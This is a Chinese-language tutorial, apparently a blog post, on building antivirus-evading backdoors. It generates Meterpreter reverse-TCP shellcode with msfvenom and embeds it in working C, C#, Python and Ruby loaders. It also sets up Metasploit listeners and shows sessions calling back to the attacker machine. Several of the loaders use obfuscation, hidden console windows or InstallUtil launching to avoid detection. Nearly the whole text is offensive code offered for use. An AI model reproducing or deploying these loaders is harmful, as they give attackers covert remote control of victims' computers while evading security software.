众所周知,目前的杀毒软件的杀毒原理主要有三种方式,一种基于特征,一种基于行为,一种基于云查杀,其中云查杀的一些特点基本上也可以概括为特征码查杀,不管是哪一种杀毒软件,都会检查PE文件头,尤其是当后门程序越大时,越容易被查杀。
1.首先使用msfvenom
命令生成一句简短的shellcode,这里指定连接地址为IP=192.168.1.7,PORT=8888
,当执行shellcode生成命令时屏幕会输出一些十六进制的文本,这些文本其实是机器码的编码形式,以下是对参数的解释.
[root@localhost ~]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.7 LPORT=8888 -f c
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] =
"\xd9\xc5\xd9\x74\x24\xf4\xba\x8b\xfc\x02\xdd\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x9f\x1e\xf7\x21\x77\x5c"
"\xf8\xd9\x87\x01\x70\x3c\xb6\x01\xe6\x34\xe8\xb1\x6c\x18\x04"
"\x39\x20\x89\x9f\x4f\xed\xbe\x28\xe5\xcb\xf1\xa9\x56\x2f\x93"
"\xca\xec\x3f\xcd\x34\xa2\x40\xc4";
-a #指定payload目标框架
--platform #指定payload的目标平台
-p, --payload #指定需要使用的payload(攻击荷载)
-f, --format #指定输出格式 (使用 --help-formats 来获取msf)
-b '\x00\x0b' #规避特殊字符串
2.将上面的ShellCode代码复制下来,打开VS Express编译器
,并写以下C代码,这里使用内联汇编的形式调用这段ShellCode代码.
#include <stdio.h>
#include <windows.h>
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台窗口显示
#pragma comment(linker,"/INCREMENTAL:NO") // 减小编译体积
#pragma comment(linker, "/section:.data,RWE") // 启用数据段可读写
unsigned char shellcode[] =
"\xd9\xc5\xd9\x74\x24\xf4\xba\x8b\xfc\x02\xdd\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x9f\x1e\xf7\x21\x77\x5c"
"\xf8\xd9\x87\x01\x70\x3c\xb6\x01\xe6\x34\xe8\xb1\x6c\x18\x04"
"\x39\x20\x89\x9f\x4f\xed\xbe\x28\xe5\xcb\xf1\xa9\x56\x2f\x93"
"\xca\xec\x3f\xcd\x34\xa2\x40\xc4";
int main(int argc, char **argv)
{
__asm
{
lea eax, shellcode
call eax
}
return 0;
}
此外出去上面的这种汇编形式,这里我也整理了其他的一些调用ShellCode的代码.
//第1种方法
void RunShellCode_2()
{
((void(*)(void))&shellcode)();
}
//第2种方法
void RunShellCode_3()
{
__asm
{
lea eax, shellcode;
jmp eax;
}
}
//第3种方法
void RunShellCode_4()
{
__asm
{
mov eax, offset shellcode;
jmp eax;
}
}
//第4种方法
void RunShellCode_5()
{
__asm
{
mov eax, offset shellcode;
_emit 0xFF;
_emit 0xE0;
}
}
3.在MFS控制主机,启动侦听程序.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.7:8888
启动我们的shellcode代码,就可看到反弹回一个shell.
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.7:8888
[*] Sending stage (179779 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.7:8888 -> 192.168.1.2:36805)
meterpreter > sysinfo
Computer : lyshark
OS : Windows 10 (Build 19999).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:\Windows\Microsoft.NET\Framework64目录中找到他的编译程序。为 了使用方便,你可以手动把这个目录添加到Path环境变量中去。
1.使用MSF工具生成后门ShellCode,并将这段ShellCode保存到lyshark.txt。
[root@localhost ~]# msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid \
> LHOST=192.168.1.30 LPORT=8080 -b '\x00' \
> -e x64/xor -i 10 -f csharp \
> -o ./lyshark.txt
2.将生成的ShellCode加入到加载程序中
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// 存放ShellCode代码
byte[] shellcode = new byte[951] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0x8e,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0xa9,0x1e,0xb2,0x1e,0x97,0xb9,0xdc,0x04,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xe1,0x2f,0x7b,0x56,0x16,0x50,
0x4f,0xfb,0x56,0xe1,0xfa,0x93,0x92,0x56,0x23,0xfb,0x56,0x56,0x09,0x0c,0xb8,
0x16,0xa5,0xb6,0x2c,0x64,0xbd,0x56,0xa6,0xe1,0xfb,0x4c,0x84,0xe6,0x4d,0xe1,
0x68,0x5b,0x28,0x5e,0xb7,0x78,0x83,0x2d,0xfb,0x5b,0x2c,0xe9,0x79,0xf9,0x46,
0xa9,0xfd,0x3c,0x2c,0xe9,0xce,0x0a,0x9a,0xfa,0x03,0xc7,0x18,0x47,0x90,0xc3,
0x83,0x9d,0x4a,0xe4,0x9b,0x3b,0x7e,0x4e,0x34,0x53,0xf0,0x37,0xca,0x71,0x5e,
0xfd,0x81,0x14,0x99,0x4e,0x7d,0xbf,0xdf,0x38,0x05,0x12,0xfb,0x4e,0x7d,0x08,
0x2c,0x2b,0x42,0xe6,0xbc,0x1e,0x98,0x2a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x50,0xa4,0xea,0x66,
0xbc,0x06,0x6e,0xd2,0xf3,0x02,0x63,0xee,0x83,0x0e,0xac,0x4f,0xbb,0x5c,0xfa,
0x18,0xe9,0x0f,0xb5,0x5e,0x5a,0xae,0xa2,0x29,0x20,0x0f,0x57,0x4e,0x77,0x0f,
0x0f,0xe7,0x3c,0x06,0x64,0xd5,0x9a,0xd5,0x2d,0x55,0xd8,0x87,0xa4,0x9f,0x23,
0x14,0x63,0xc2,0xa1,0xc7,0x14,0x57,0x69,0x5e,0x33,0xd0,0xb6,0xb1,0x38,0x95,
0x2b,0x5c,0x97,0x30,0xb1,0x0f,0xba,0x4f,0xbb,0x5c,0xaa,0x18,0xe9,0x0f,0xb5,
0x7c,0xd3,0x06,0xab,0xa2,0xe2,0x61,0xe2,0x26,0x2c,0x89,0xbd,0x41,0xa8,0xf4,
0x98,0x78,0x9e,0x3d,0x15,0xcd,0xa0,0xb1,0x23,0xff,0xc0,0xa3,0x15,0xe7,0xa1,
0x4f,0x2e,0x5e,0xfa,0x9a,0xa2,0x9d,0x1f,0x3b,0x59,0x57,0x2c,0xbb,0xb2,0x72,
0xe9,0x17,0xa4,0xd1,0x11,0xac,0x5f,0xba,0xbf,0xb1,0x38,0x16,0x6f,0x72,0x42,
0xa6,0x2a,0x60,0xb1,0xd3,0x04 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
}
3.使用C#编译器编译这段代码,这里我保存为了lyshark.cs你可以自行命名,最终编译出来的代码才5kb不到。
C:\Users\lyshark\Desktop>csc /unsafe /platform:x64 /out:lyshark.exe lyshark.cs
Microsoft (R) Visual C# Compiler version 4.7.3190.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
4.接着运行程序,回到MSF控制台启动监听。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8080
lport => 8080
msf5 exploit(multi/handler) > set exitonsession false
exitonsession => false
msf5 exploit(multi/handler) > set enablecontextencoding true
enablecontextencoding => true
msf5 exploit(multi/handler) > set Stageencoder x64/xor
Stageencoder => x64/xor
msf5 exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
msf5 exploit(multi/handler) > exploit -j -z
5.客户端运行后门。
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile=
/LogToConsole=false /U lyshark.exe
1.首先生成利用代码,将内容写入到lyshark.py文件中。
[root@localhost ~]# msfvenom -p python/meterpreter/reverse_tcp \
> lhost=192.168.1.30 lport=8888 \
> -f raw -o lyshark.py
2.手动复制这段生成后的代码片段。
[root@localhost ~]# cat lyshark.py
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
3.我们在其上方加入一段屏蔽控制台窗口的代码,来实现隐藏控制台窗口,最终代码如下。
import base64,sys;
import ctypes
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
4.使用pyinstaller封装成可执行程序,这里使用-F封装成单个.exe文件,如果没有的话可以在命令行执行 pip install pyinstaller 安装这个工具。
C:\Users\lyshark\Desktop>pyinstaller -F lyshark.py
107 INFO: PyInstaller: 3.4
108 INFO: Python: 3.7.3
109 INFO: Platform: Windows-10-10.0.17763-SP0
113 INFO: wrote C:\Users\lyshark\Desktop\lyshark.spec
116 INFO: UPX is not available.
120 INFO: Extending PYTHONPATH with paths
['C:\\Users\\lyshark\\Desktop', 'C:\\Users\\lyshark\\Desktop']
121 INFO: checking Analysis
121 INFO: Building Analysis because Analysis-00.toc is non existent
121 INFO: Initializing module dependency graph...
124 INFO: Initializing module graph hooks...
129 INFO: Analyzing base_library.zip ...
5.在MSF控制台,打开一个监听事件,并运行生成的二进制后门 lyshark.exe 完美实现免杀。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.30:8888
msf5 exploit(multi/handler) > sessions -i
当下,除了白名单上线外,python后门的稳定性一直很高,这也是因为python是脚本的原因,杀软并没有重视这一块。
[root@localhost ~]# msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb
[root@localhost ~]# msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
shellcode =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
buf = Fiddle::Pointer[shellcode]
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, s
hellcode.size)
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4],4).call(0, 0, ptr, 0, 0, 0)
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread,‐1)